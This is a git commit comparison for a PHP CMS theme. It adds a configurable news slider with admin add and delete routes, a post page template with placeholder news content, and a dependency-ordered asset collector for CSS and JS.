Compare commits

...

3 Commits

Author SHA1 Message Date
57cd3b8c62 main page fix 2025-07-20 17:33:39 +03:00
1547950d4c lk fix 2025-07-20 16:41:09 +03:00
d3af15c5ac first prod 2025-07-20 15:02:06 +03:00
110 changed files with 57056 additions and 74 deletions

View File

@@ -0,0 +1,8 @@
<?php
namespace app\modules\view;
class ViewModule extends \kernel\app_modules\view\ViewModule
{
}

View File

@@ -0,0 +1,8 @@
<?php
namespace app\modules\view\controllers;
class ViewController extends \kernel\app_modules\view\controllers\ViewController
{
}

View File

@@ -0,0 +1,12 @@
{
"name": "Просмотры",
"version": "0.1",
"author": "ITGuild",
"slug": "view",
"description": "Просмотры module",
"module_class": "app\\modules\\view\\ViewModule",
"module_class_file": "{APP}/modules/view/ViewModule.php",
"routs": "routs/view.php",
"migration_path": "migrations",
"dependence": "menu"
}

View File

@@ -0,0 +1,2 @@
<?php
include KERNEL_APP_MODULES_DIR . "/view/routs/view.php";

View File

@@ -10,12 +10,27 @@ class AdminSliderAssets extends Assets
protected function createCSS(): void
{
$this->registerCSS(slug: "select2", resource: "https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css", addResourceURI: false);
$this->registerCSS(
slug: "select2",
resource: "https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css",
addResourceURI: false,
after: 'bootstrap'
);
}
protected function createJS(): void
{
$this->registerJS(slug: "select2", resource: "https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js", addResourceURI: false);
$this->registerJS(
slug: "select2",
resource: "https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js",
addResourceURI: false,
after: 'jquery',
);
$this->registerJS(
slug: "slider",
resource: "/slider.js",
after: 'select2',
);
}
}

View File

@@ -11,6 +11,7 @@ class SvoLpThemeAssets extends Assets
{
$this->registerCSS(slug: "bootstrap", resource: "/css/netic/bootstrap.css");
$this->registerCSS(slug: "style", resource: "/css/netic/style.css");
$this->registerCSS(slug: "posts", resource: "/css/netic/posts.css");
$this->registerCSS(slug: "responsive", resource: "/css/netic/responsive.css");
$this->registerCSS(slug: "mCustomScrollbar", resource: "/css/netic/jquery.mCustomScrollbar.min.css");
}

View File

@@ -2,13 +2,18 @@
namespace app\themes\svo\controllers;
use app\themes\svo\services\MainPageSliderService;
use kernel\Controller;
use kernel\helpers\Debug;
use kernel\modules\post\models\Post;
use kernel\modules\post\service\PostService;
use kernel\modules\user\service\UserService;
class LpController extends Controller
{
protected \kernel\modules\user\models\User $user;
protected MainPageSliderService $mainPageSliderService;
protected function init(): void
{
@@ -19,6 +24,7 @@ class LpController extends Controller
$this->cgView->addVarToLayout("resources", "/resources/themes/svo/assets");
$user = UserService::getAuthUser();
$this->mainPageSliderService = new MainPageSliderService();
if ($user){
$this->cgView->addVarToLayout("currentUser", $user);
$this->user = $user;
@@ -27,7 +33,14 @@ class LpController extends Controller
public function actionIndex(): void
{
$this->cgView->render('index.php');
$this->cgView->render('index.php', []);
}
public function actionPost(int $postId): void
{
$post = Post::find($postId);
$this->cgView->render('post.php', ['post' => $post]);
}
}

View File

@@ -2,7 +2,13 @@
namespace app\themes\svo\controllers;
use app\themes\svo\services\MainPageSliderService;
use app\themes\svo\services\SvoThemeService;
use JetBrains\PhpStorm\NoReturn;
use kernel\AdminController;
use kernel\Flash;
use kernel\helpers\Debug;
use kernel\Request;
class SvoAdminController extends AdminController
{
@@ -11,6 +17,7 @@ class SvoAdminController extends AdminController
{
parent::init();
$this->cgView->viewPath = APP_DIR . "/themes/svo/views/admin/";
$this->cgView->addVarToLayout("svo_theme_resources", "/resources/themes/svo");
}
public function actionThemeSettings(): void
@@ -18,4 +25,24 @@ class SvoAdminController extends AdminController
$this->cgView->render('theme_settings.php');
}
#[NoReturn] public function actionAddSlide(): void
{
$request = new Request();
$slideId = $request->post('slide');
SvoThemeService::addPostSlide($slideId);
Flash::setMessage('success', 'Слайд добавлен.');
$this->redirect('/admin/svo-theme/settings?tab=slider', 302);
}
#[NoReturn] public function actionDeleteSlide(int $post_id): void
{
$mainPageSlideService = new MainPageSliderService();
$mainPageSlideService->removeSlide($post_id);
Flash::setMessage('success', 'Слайд удален.');
$this->redirect('/admin/svo-theme/settings?tab=slider', 302);
}
}

View File

@@ -6,11 +6,14 @@ use kernel\CgRouteCollector;
App::$collector->filter("auth", [\app\themes\svo\middlewares\LkAuthMiddleware::class, "handler"]);
App::$collector->get('/', [\app\themes\svo\controllers\LpController::class, 'actionIndex']);
App::$collector->get('/post/{postId}', [\app\themes\svo\controllers\LpController::class, 'actionPost']);
App::$collector->group(["prefix" => "admin"], function (CgRouteCollector $router) {
App::$collector->group(["before" => "auth"], function (CGRouteCollector $router) {
App::$collector->group(["prefix" => "svo-theme"], function (CGRouteCollector $router) {
App::$collector->get('/settings', [\app\themes\svo\controllers\SvoAdminController::class, 'actionThemeSettings']);
App::$collector->get('/delete_slide/{post_id}', [\app\themes\svo\controllers\SvoAdminController::class, 'actionDeleteSlide']);
App::$collector->post('/add_slide', [\app\themes\svo\controllers\SvoAdminController::class, 'actionAddSlide']);
});
});
});

View File

@@ -0,0 +1,90 @@
<?php
namespace app\themes\svo\services;
use kernel\App;
use kernel\helpers\Debug;
use kernel\models\Option;
use kernel\modules\option\service\OptionService;
class MainPageSliderService
{
protected OptionService $optionService;
protected string $sliderKey = 'main_news_slider';
public function __construct()
{
$this->optionService = new OptionService();
}
/**
* Получить список слайдов
*
* @return array
*/
public function getSlides(): array
{
$option = Option::where('key', $this->sliderKey)->first();
if (!$option || empty($option->value)) {
return [];
}
$data = json_decode($option->value, true);
return $data['ids'] ?? [];
}
/**
* Добавить слайд
*
* @param int $slideId
* @return bool
*/
public function addSlide(int $slideId): bool
{
return App::$db->capsule::connection()->transaction(function () use ($slideId) {
$option = Option::firstOrNew(['key' => $this->sliderKey]);
$currentValue = $option->value ? json_decode($option->value, true) : ['ids' => []];
if (in_array($slideId, $currentValue['ids'])) {
return true; // слайд уже есть, ничего не делаем
}
$currentValue['ids'][] = $slideId;
$option->value = json_encode($currentValue);
return $option->save();
});
}
/**
* Удалить слайд
*
* @param int $slideId
* @return bool
*/
public function removeSlide(int $slideId): bool
{
return App::$db->capsule::connection()->transaction(function () use ($slideId) {
/** @var Option $option */
$option = Option::where('key', $this->sliderKey)->first();
if (!$option || empty($option->value)) {
return false;
}
$currentValue = json_decode($option->value, true);
if (!in_array($slideId, $currentValue['ids'] ?? [])) {
return false; // слайда нет в списке
}
$currentValue['ids'] = array_diff($currentValue['ids'], [$slideId]);
$option->value = json_encode($currentValue);
return $option->save();
});
}
}

View File

@@ -0,0 +1,34 @@
<?php
namespace app\themes\svo\services;
use kernel\helpers\Debug;
use kernel\models\Option;
use kernel\modules\option\service\OptionService;
use kernel\modules\post\models\Post;
class SvoThemeService
{
public static function getSliderPosts()
{
$slides = json_decode(OptionService::getItem('main_news_slider'), true);
return Post::whereIn('id', $slides['ids'])->get();
}
public static function addPostSlide(int $postId)
{
$slides = json_decode(OptionService::getItem('main_news_slider'), true);
if (!in_array($postId, $slides['ids'])) {
$slides['ids'][] = $postId;
OptionService::createOrUpdate('main_news_slider', json_encode($slides));
}
return $slides;
}
}

View File

@@ -0,0 +1,3 @@
<?php
?>
Посты

View File

@@ -1,24 +1,28 @@
<?php
/**
* @var string $resources
* @var string $svo_theme_resources
* @var \kernel\CgView $view
*/
new \app\themes\svo\assets\AdminSliderAssets($resources);
\kernel\Theme::$assetsCollector->registerAsset(new \app\themes\svo\assets\AdminSliderAssets($svo_theme_resources));
?>
<ul class="nav nav-tabs" id="myTab" role="tablist">
<li class="nav-item" role="presentation">
<button class="nav-link active" id="home-tab" data-toggle="tab" data-target="#home" type="button" role="tab" aria-controls="home" aria-selected="true">
<button class="nav-link active" id="home-tab" data-toggle="tab" data-target="#home" type="button" role="tab"
aria-controls="home" aria-selected="true">
Основные
</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="slider-tab" data-toggle="tab" data-target="#slider" type="button" role="tab" aria-controls="slider" aria-selected="false">
<button class="nav-link" id="slider-tab" data-toggle="tab" data-target="#slider" type="button" role="tab"
aria-controls="slider" aria-selected="false">
Слайдер
</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="contact-tab" data-toggle="tab" data-target="#contact" type="button" role="tab" aria-controls="contact" aria-selected="false">
<button class="nav-link" id="contact-tab" data-toggle="tab" data-target="#contact" type="button" role="tab"
aria-controls="contact" aria-selected="false">
Contact
</button>
</li>
@@ -29,16 +33,24 @@ new \app\themes\svo\assets\AdminSliderAssets($resources);
</div>
<div class="tab-pane fade" id="slider" role="tabpanel" aria-labelledby="slider-tab">
<div class="form-group">
<label>Заголовок</label>
<label>Новости в сладере</label>
<br>
<select id="postSelect" style="width: 300px">
<option value="1">Option 1</option>
<option value="2">Option 2</option>
<option value="3">Option 3</option>
<option value="4">Option 4</option>
</select>
<form id="add_slide_form" action="/admin/svo-theme/add_slide" method="post">
<select name="slide" class="form-control" id="postSelect" style="width: 300px">
<?php foreach (\kernel\modules\post\service\PostService::getListArr() as $key => $item): ?>
<option value="<?= $key ?>"><?= $item ?></option>
<?php endforeach; ?>
</select>
</form>
</div>
<br>
<?= \kernel\helpers\Html::link('Добавить', '#', [
'id' => 'saveSliderPost',
'class' => 'btn btn-success',
'onclick' => 'document.getElementById("add_slide_form").submit(); return false;'
]) ?>
<br>
<?php \app\themes\svo\widgets\AdminSliderPostsList::create()->run(); ?>
</div>
<div class="tab-pane fade" id="contact" role="tabpanel" aria-labelledby="contact-tab">
Contact
@@ -46,8 +58,15 @@ new \app\themes\svo\assets\AdminSliderAssets($resources);
</div>
<script>
$(document).ready(function() {
// Инициализация Select2
$('#postSelect').select2();
document.addEventListener('DOMContentLoaded', function() {
// Получаем параметр из URL
const urlParams = new URLSearchParams(window.location.search);
const activeTab = urlParams.get('tab');
// Если параметр есть, активируем соответствующую вкладку
if (activeTab) {
const tabTrigger = new bootstrap.Tab(document.querySelector(`[data-target="#${activeTab}"]`));
tabTrigger.show();
}
});
</script>
</script>

View File

@@ -45,10 +45,10 @@ $assets = new \app\themes\svo\assets\SvoThemesAssets($resources);
<!-- [ Sidebar Menu ] start -->
<nav class="pc-sidebar">
<div class="navbar-wrapper">
<div class="m-header">
<div class="m-header" style="background-color: black">
<a href="/lk" class="b-brand">
<!-- ======== Change your logo from here ============ -->
<img src="<?= $resources ?>/assets/images/logo-dark.svg" alt="" class="logo logo-lg">
<img width="100px" src="<?= $resources ?>/assets/images/netic/logo.png" alt="" class="logo logo-lg">
<img src="<?= $resources ?>/assets/images/favicon.svg" alt="" class="logo logo-sm">
</a>
</div>

View File

@@ -42,10 +42,13 @@ $assets = new \app\themes\svo\assets\SvoLpThemeAssets($resources);
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link" href="index.html">О конкурсе</a>
<a class="nav-link" href="#stages">О конкурсе</a>
</li>
<li class="nav-item">
<a class="nav-link" href="index.html">Новости</a>
<a class="nav-link" href="#news">Новости</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#contacts">Контакты</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/lk/">Личный кабинет</a>
@@ -58,8 +61,9 @@ $assets = new \app\themes\svo\assets\SvoLpThemeAssets($resources);
<div class="custom_bg">
<div class="custom_menu">
<ul>
<li><a href="index.html">О конкурсе</a></li>
<li><a href="index.html">Новости</a></li>
<li><a href="#stages">О конкурсе</a></li>
<li><a href="#news">Новости</a></li>
<li><a href="#contacts">Контакты</a></li>
<li><a href="/lk/">Личный кабинет</a></li>
</ul>
</div>
@@ -73,6 +77,135 @@ $assets = new \app\themes\svo\assets\SvoLpThemeAssets($resources);
<!-- testimonial section end -->
<?= $content ?>
<!-- footer section start -->
<div class="services_section layout_padding" id="stages">
<div class="container">
<div class="row">
<div class="col-md-12">
<h1 class="services_taital">Этапы конкурса</h1>
<p class="services_text">Здесь небольшое описание конкурса</p>
</div>
</div>
<div class="services_section_2">
<div id="main_slider"class="carousel slide" data-ride="carousel">
<div class="carousel-inner">
<div class="carousel-item active">
<div class="row">
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="<?= $resources ?>/images/netic/icon-4.png" class="image_1">
<img src="<?= $resources ?>/images/netic/icon-7.png" class="image_2">
</div>
<h3 class="wordpress_text">Регистрация</h3>
<p class="opposed_text">Регистрация Регистрация Регистрация Регистрация</p>
</div>
</div>
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="<?= $resources ?>/images/netic/icon-5.png" class="image_1">
<img src="<?= $resources ?>/images/netic/icon-5.png" class="image_2">
</div>
<h3 class="wordpress_text">Первый этап</h3>
<p class="opposed_text">Первый этап Первый этап Первый этап Первый этап</p>
</div>
</div>
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="<?= $resources ?>/images/netic/icon-6.png" class="image_1">
<img src="<?= $resources ?>/images/netic/icon-9.png" class="image_2">
</div>
<h3 class="wordpress_text">Второй этап</h3>
<p class="opposed_text">Второй этап Второй этап Второй этап Второй этап</p>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="row">
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="<?= $resources ?>/images/netic/icon-4.png" class="image_1">
<img src="<?= $resources ?>/images/netic/icon-7.png" class="image_2">
</div>
<h3 class="wordpress_text">Третий этап</h3>
<p class="opposed_text">Третий этап Третий этап Третий этап Третий этап</p>
</div>
</div>
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="<?= $resources ?>/images/netic/icon-5.png" class="image_1">
<img src="<?= $resources ?>/images/netic/icon-5.png" class="image_2">
</div>
<h3 class="wordpress_text">Четвертый этап</h3>
<p class="opposed_text">Четвертый этап Четвертый этап Четвертый этап Четвертый этап</p>
</div>
</div>
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="<?= $resources ?>/images/netic/icon-6.png" class="image_1">
<img src="<?= $resources ?>/images/netic/icon-9.png" class="image_2">
</div>
<h3 class="wordpress_text">Полуфинал</h3>
<p class="opposed_text">Полуфинал Полуфинал Полуфинал Полуфинал</p>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="row">
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="<?= $resources ?>/images/netic/icon-4.png" class="image_1">
<img src="<?= $resources ?>/images/netic/icon-7.png" class="image_2">
</div>
<h3 class="wordpress_text">Финал</h3>
<p class="opposed_text">Финал Финал Финал Финал</p>
</div>
</div>
</div>
</div>
</div>
<a class="carousel-control-prev" href="#main_slider" role="button" data-slide="prev">
<i class="fa fa-angle-left"></i>
</a>
<a class="carousel-control-next" href="#main_slider" role="button" data-slide="next">
<i class="fa fa-angle-right"></i>
</a>
</div>
</div>
</div>
</div>
<div class="contact_section layout_padding" id="contacts">
<div class="container">
<div class="row">
<div class="col-sm-12">
<h1 class="contact_taital">Напишите нам</h1>
</div>
</div>
<div class="contact_section_2">
<div class="row">
<div class="col-md-12">
<div class="mail_section_1">
<input type="text" class="mail_text" placeholder="Имя" name="Имя">
<input type="text" class="mail_text" placeholder="Email" name="Email">
<input type="text" class="mail_text" placeholder="Телефон" name="Телефон">
<textarea class="massage-bt" placeholder="Сообщение" rows="5" id="comment" name="Your Massage"></textarea>
<div class="send_bt"><a href="#">Отправить</a></div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="footer_section layout_padding">
<div class="container">
<div class="row">

View File

@@ -4,7 +4,7 @@
*/
?>
<div class="about_section layout_padding">
<div class="about_section layout_padding" id="news">
<div class="container">
<div class="row">
<div class="col-md-4">

View File

@@ -0,0 +1,223 @@
<?php
/**
* @var \kernel\modules\post\models\Post $post
*/
?>
<main class="container my-5">
<!-- Хлебные крошки -->
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="#">Главная</a></li>
<li class="breadcrumb-item"><a href="#">Новости</a></li>
<li class="breadcrumb-item active" aria-current="page"><?= $post->title ?></li>
</ol>
</nav>
<!-- Заголовок новости -->
<article>
<header class="mb-4">
<h1 class="font-weight-bold"><?= $post->title ?></h1>
<div class="d-flex align-items-center text-muted mt-3">
<span class="mr-3"><i class="fa fa-calendar mr-2"></i><?= $post->created_at ?></span>
<span class="mr-3"><i class="fa fa-eye mr-2"></i>12 543 просмотра</span>
<span><i class="fa fa-comments-o mr-2"></i>24 комментария</span>
</div>
</header>
<!-- Основное изображение -->
<figure class="mb-4">
<img src="https://via.placeholder.com/1200x600" alt="Иллюстрация к новости" class="img-fluid rounded">
<figcaption class="text-center mt-2 text-muted">Иллюстрация: создание 3D-модели с помощью ИИ</figcaption>
</figure>
<!-- Текст новости -->
<div class="news-content mb-5">
<p class="lead">Компания OpenAI представила новую версию своего алгоритма, способного генерировать трехмерные объекты на основе текстовых описаний.</p>
<p>Новая технология, получившая название 3D-GPT, позволяет создавать высокодетализированные модели всего за несколько секунд. Пользователю достаточно ввести описание объекта, например, "красный спортивный автомобиль с черными полосами", и система сгенерирует соответствующую 3D-модель.</p>
<h2 class="mt-4 mb-3">Как это работает</h2>
<p>Алгоритм основан на комбинации нескольких нейросетевых архитектур:</p>
<ul>
<li>Текстовая модель анализирует описание и выделяет ключевые характеристики</li>
<li>Генеративная сеть создает базовую геометрию объекта</li>
<li>Дополнительные модули добавляют текстуры, материалы и освещение</li>
</ul>
<p>По словам разработчиков, система особенно хорошо справляется с органическими формами и архитектурными объектами.</p>
<div class="alert alert-info mt-4">
<h3 class="alert-heading">Экспертное мнение</h3>
<p>"Эта технология может революционизировать индустрию 3D-моделирования, значительно сократив время и стоимость создания цифровых активов", - отмечает Джон Смит, профессор компьютерной графики в MIT.</p>
</div>
<h2 class="mt-4 mb-3">Практическое применение</h2>
<p>Технология уже тестируется в нескольких областях:</p>
<div class="row mt-3">
<div class="col-md-4 mb-3">
<div class="card h-100">
<div class="card-body">
<h5 class="card-title">Игровая индустрия</h5>
<p class="card-text">Быстрое прототипирование персонажей и объектов для видеоигр.</p>
</div>
</div>
</div>
<div class="col-md-4 mb-3">
<div class="card h-100">
<div class="card-body">
<h5 class="card-title">Архитектура</h5>
<p class="card-text">Создание 3D-моделей зданий по словесным описаниям заказчиков.</p>
</div>
</div>
</div>
<div class="col-md-4 mb-3">
<div class="card h-100">
<div class="card-body">
<h5 class="card-title">Образование</h5>
<p class="card-text">Визуализация исторических объектов и научных концепций.</p>
</div>
</div>
</div>
</div>
<p class="mt-4">Ожидается, что коммерческая версия продукта будет выпущена в начале следующего года. Бета-тестирование начнется уже в сентябре для ограниченного круга разработчиков.</p>
</div>
<!-- Теги и соцсети -->
<div class="d-flex flex-wrap justify-content-between align-items-center border-top border-bottom py-3 mb-5">
<div class="tags mb-2 mb-md-0">
<span class="badge badge-secondary mr-2">#искусственный_интеллект</span>
<span class="badge badge-secondary mr-2">#3d_моделирование</span>
<span class="badge badge-secondary mr-2">#технологии</span>
<span class="badge badge-secondary">#openai</span>
</div>
<div class="social-share">
<button class="btn btn-outline-primary btn-sm mr-2"><i class="fab fa-facebook-f mr-1"></i> Поделиться</button>
<button class="btn btn-outline-info btn-sm mr-2"><i class="fab fa-twitter mr-1"></i> Твитнуть</button>
<button class="btn btn-outline-danger btn-sm"><i class="fab fa-telegram-plane mr-1"></i> Отправить</button>
</div>
</div>
<!-- Автор и источник -->
<footer class="bg-light p-3 rounded mb-5">
<div class="row">
<div class="col-md-8">
<h5>Об авторе</h5>
<div class="d-flex align-items-center">
<img src="https://via.placeholder.com/50" alt="Автор" class="rounded-circle mr-3">
<div>
<h6 class="mb-0">Александра Петрова</h6>
<p class="text-muted mb-0">Технологический обозреватель с 10-летним опытом</p>
</div>
</div>
</div>
<div class="col-md-4 mt-3 mt-md-0">
<h5>Источник</h5>
<p>По материалам пресс-релиза OpenAI и эксклюзивного интервью с разработчиками</p>
</div>
</div>
</footer>
<!-- Похожие новости -->
<section class="mb-5">
<h3 class="mb-4">Похожие новости</h3>
<div class="row">
<div class="col-md-4 mb-4">
<div class="card h-100">
<img src="https://via.placeholder.com/400x200" class="card-img-top" alt="...">
<div class="card-body">
<h5 class="card-title">Нейросети научились анимировать 2D-рисунки</h5>
<p class="card-text text-muted">12 июля 2023</p>
<a href="#" class="btn btn-outline-primary btn-sm">Читать</a>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<img src="https://via.placeholder.com/400x200" class="card-img-top" alt="...">
<div class="card-body">
<h5 class="card-title">ИИ в дизайне: как алгоритмы меняют творческие профессии</h5>
<p class="card-text text-muted">8 июля 2023</p>
<a href="#" class="btn btn-outline-primary btn-sm">Читать</a>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<img src="https://via.placeholder.com/400x200" class="card-img-top" alt="...">
<div class="card-body">
<h5 class="card-title">Обзор новых инструментов для 3D-художников в 2023 году</h5>
<p class="card-text text-muted">3 июля 2023</p>
<a href="#" class="btn btn-outline-primary btn-sm">Читать</a>
</div>
</div>
</div>
</div>
</section>
<!-- Комментарии -->
<section class="mb-5">
<h3 class="mb-4">Комментарии (24)</h3>
<div class="mb-4">
<form>
<div class="form-group">
<textarea class="form-control" rows="3" placeholder="Оставьте ваш комментарий..."></textarea>
</div>
<button type="submit" class="btn btn-primary">Отправить</button>
</form>
</div>
<div class="comment-list">
<div class="comment mb-4">
<div class="d-flex">
<img src="https://via.placeholder.com/40" alt="Аватар" class="rounded-circle mr-3">
<div>
<div class="d-flex justify-content-between align-items-center mb-2">
<h6 class="mb-0">Иван Иванов</h6>
<small class="text-muted">2 часа назад</small>
</div>
<p>Очень интересная технология! Интересно, насколько она будет доступна для индивидуальных разработчиков по цене.</p>
<button class="btn btn-link btn-sm p-0 text-muted">Ответить</button>
</div>
</div>
</div>
<div class="comment mb-4 ml-5">
<div class="d-flex">
<img src="https://via.placeholder.com/40" alt="Аватар" class="rounded-circle mr-3">
<div>
<div class="d-flex justify-content-between align-items-center mb-2">
<h6 class="mb-0">Мария Смирнова</h6>
<small class="text-muted">1 час назад</small>
</div>
<p>@Иван Иванов, по предварительной информации, будет несколько тарифных планов, включая бесплатный с ограничениями.</p>
<button class="btn btn-link btn-sm p-0 text-muted">Ответить</button>
</div>
</div>
</div>
<div class="comment mb-4">
<div class="d-flex">
<img src="https://via.placeholder.com/40" alt="Аватар" class="rounded-circle mr-3">
<div>
<div class="d-flex justify-content-between align-items-center mb-2">
<h6 class="mb-0">Алексей Технарев</h6>
<small class="text-muted">30 минут назад</small>
</div>
<p>Жду не дождусь, когда можно будет попробовать! Уже есть несколько идей, как это можно применить в нашем проекте.</p>
<button class="btn btn-link btn-sm p-0 text-muted">Ответить</button>
</div>
</div>
</div>
<button class="btn btn-outline-secondary">Показать еще комментарии</button>
</div>
</section>
</article>
</main>

View File

@@ -0,0 +1,25 @@
<?php
/**
* @var \Illuminate\Database\Eloquent\Collection $posts
*/
use kernel\CollectionTableRenderer;
$table = new CollectionTableRenderer($posts);
$table->setColumns([
'id' => 'ID',
'title' => 'Название',
]);
$table->setTableAttributes([
'style' => 'margin-top:20px;'
]);
$table->addCustomColumn('action', 'Действия', function ($post) {
$btn = '<a href="/admin/svo-theme/delete_slide/' . $post->id . '" class="btn btn-sm btn-danger">Удалить</a> ';
return $btn;
});
$table->render();

View File

@@ -1,50 +1,31 @@
<?php
/**
* @var string $resources
* @var \Illuminate\Database\Eloquent\Collection $posts
*/
$flag = 0;
?>
<div class="banner_section layout_padding">
<div id="my_slider" class="carousel slide" data-ride="carousel">
<div class="carousel-inner">
<div class="carousel-item active">
<div class="container">
<div class="row">
<div class="col-md-6">
<h1 class="banner_taital">Hosting <br>And Domain</h1>
<div class="read_bt"><a href="#">Read More</a></div>
</div>
<div class="col-md-6">
<div class="banner_img"><img src="<?= $resources ?>/images/slide_img.jpg"></div>
<?php foreach ($posts as $key => $post): ?>
<?php /** @var \kernel\modules\post\models\Post $post */ ?>
<div class="carousel-item <?= $flag === 0 ? 'active' : '' ?>">
<div class="container">
<div class="row">
<div class="col-md-6">
<h1 class="banner_taital main_slider_title"><?= $post->title ?></h1>
<div class="read_bt"><a href="/post/<?= $post->id ?>">Читать</a></div>
</div>
<div class="col-md-6">
<div class="banner_img"><img src="<?= $resources ?>/images/slide_img.jpg"></div>
</div>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="container">
<div class="row">
<div class="col-md-6">
<h1 class="banner_taital">Hosting <br>And Domain</h1>
<div class="read_bt"><a href="#">Read More</a></div>
</div>
<div class="col-md-6">
<div class="banner_img"><img src="<?= $resources ?>/images/slide_img.jpg"></div>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="container">
<div class="row">
<div class="col-md-6">
<h1 class="banner_taital">Hosting <br>And Domain</h1>
<div class="read_bt"><a href="#">Read More</a></div>
</div>
<div class="col-md-6">
<div class="banner_img"><img src="<?= $resources ?>/images/slide_img.jpg"></div>
</div>
</div>
</div>
</div>
<?php $flag++; ?>
<?php endforeach; ?>
</div>
<a class="carousel-control-prev" href="#my_slider" role="button" data-slide="prev">
<i class="fa fa-angle-left"></i>

View File

@@ -0,0 +1,19 @@
<?php
namespace app\themes\svo\widgets;
use kernel\Widget;
class AdminSliderPostsList extends Widget
{
protected function init(): void
{
$this->cgView->viewPath = APP_DIR . "/themes/svo/views/widget/";
}
public function run(): void
{
$this->cgView->render("admin_slider_posts_list.php", ['posts' => \app\themes\svo\services\SvoThemeService::getSliderPosts()]);
}
}

View File

@@ -2,19 +2,29 @@
namespace app\themes\svo\widgets;
use app\themes\svo\services\MainPageSliderService;
use kernel\modules\post\models\Post;
use kernel\Widget;
class MainSliderWidget extends Widget
{
protected MainPageSliderService $mainPageSliderService;
protected function init(): void
{
$this->cgView->viewPath = APP_DIR . "/themes/svo/views/widget/";
$this->mainPageSliderService = new MainPageSliderService();
}
public function run(): void
{
$this->cgView->render("main_slider.php", ['resources' => $this->data['resources']]);
$slides = $this->mainPageSliderService->getSlides();
$posts = Post::whereIn('id', $slides)->get();
$this->cgView->render("main_slider.php", [
'resources' => $this->data['resources'],
'posts' => $posts,
]);
}
}

View File

@@ -19,7 +19,7 @@ const KERNEL_APP_MODULES_DIR = KERNEL_DIR . "/app_modules";
const APP_DIR = ROOT_DIR . "/app";
\kernel\Theme::$assetsCollector = new \kernel\AssetsCollector();
function getConst($text): array|false|string
{

View File

@@ -7,8 +7,12 @@ class Assets
protected array $jsHeader = [];
protected array $jsBody = [];
protected array $collectorJs = [];
protected array $css = [];
protected array $collectorCss = [];
protected string $resourceURI = "/resource";
public function __construct(string $resourceURI)
@@ -26,7 +30,7 @@ class Assets
$this->resourceURI = $resourceURI;
}
public function registerJS(string $slug, string $resource, bool $body = true, bool $addResourceURI = true): void
public function registerJS(string $slug, string $resource, bool $body = true, bool $addResourceURI = true, string $after = null): void
{
$resource = $addResourceURI ? $this->resourceURI . $resource : $resource;
if ($body) {
@@ -34,12 +38,14 @@ class Assets
} else {
$this->jsHeader[$slug] = $resource;
}
$this->collectorJs[$slug] = ['resource' => $resource, 'after' => $after, 'body' => $body];
}
public function registerCSS(string $slug, string $resource, bool $addResourceURI = true): void
public function registerCSS(string $slug, string $resource, bool $addResourceURI = true, string $after = null): void
{
$resource = $addResourceURI ? $this->resourceURI . $resource : $resource;
$this->css[$slug] = $resource;
$this->collectorCss[$slug] = ['resource' => $resource, 'after' => $after];
}
public function getJSAsStr(bool $body = true): void
@@ -63,4 +69,14 @@ class Assets
}
}
public function getCollectorCss(): array
{
return $this->collectorCss;
}
public function getCollectorJs(): array
{
return $this->collectorJs;
}
}

128
kernel/AssetsCollector.php Normal file
View File

@@ -0,0 +1,128 @@
<?php
namespace kernel;
use RuntimeException;
class AssetsCollector
{
protected array $assetsPool = [];
public function registerAsset(Assets $assets): void
{
$this->assetsPool[] = $assets;
}
public function renderCss(): void
{
$css = [];
foreach ($this->assetsPool as $item) {
/** @var Assets $item */
$css = array_merge($css, $item->getCollectorCss());
}
try {
$sortedStyles = $this->sortStyles($css);
// Выводим отсортированные стили
foreach ($sortedStyles as $style) {
echo '<link rel="stylesheet" href="' . htmlspecialchars($style) . '">' . "\n";
}
} catch (RuntimeException $e) {
echo 'Ошибка: ' . $e->getMessage();
}
}
public function renderJs(bool $body = true): void
{
$scripts = [];
foreach ($this->assetsPool as $item) {
/** @var Assets $item */
$scripts = array_merge($scripts, $item->getCollectorJs());
}
try {
$sortedScripts = $this->sortScripts($scripts);
// Разделяем скрипты для head и body
$headScripts = [];
$bodyScripts = [];
foreach ($sortedScripts as $script) {
if ($script['body']) {
$bodyScripts[] = $script['resource'];
} else {
$headScripts[] = $script['resource'];
}
}
// Выводим скрипты для head
if ($body){
$scriptsToRender = $bodyScripts;
}
else {
$scriptsToRender = $headScripts;
}
foreach ($scriptsToRender as $script) {
echo '<script src="' . htmlspecialchars($script) . '"></script>' . "\n";
}
}
catch (RuntimeException $e) {
echo 'Ошибка: ' . $e->getMessage();
}
}
protected function sortStyles(array $styles): array
{
$sorted = [];
$added = [];
// Пока не добавим все стили
while (count($sorted) < count($styles)) {
$found = false;
foreach ($styles as $name => $style) {
// Если стиль еще не добавлен и его зависимости выполнены
if (!isset($added[$name]) &&
(empty($style['after']) || isset($added[$style['after']]))) {
$sorted[] = $style['resource'];
$added[$name] = true;
$found = true;
}
}
if (!$found) {
// Если есть циклическая зависимость
throw new RuntimeException('Обнаружена циклическая зависимость в стилях');
}
}
return $sorted;
}
protected function sortScripts(array $scripts): array
{
$sorted = [];
$added = [];
while (count($sorted) < count($scripts)) {
$found = false;
foreach ($scripts as $name => $script) {
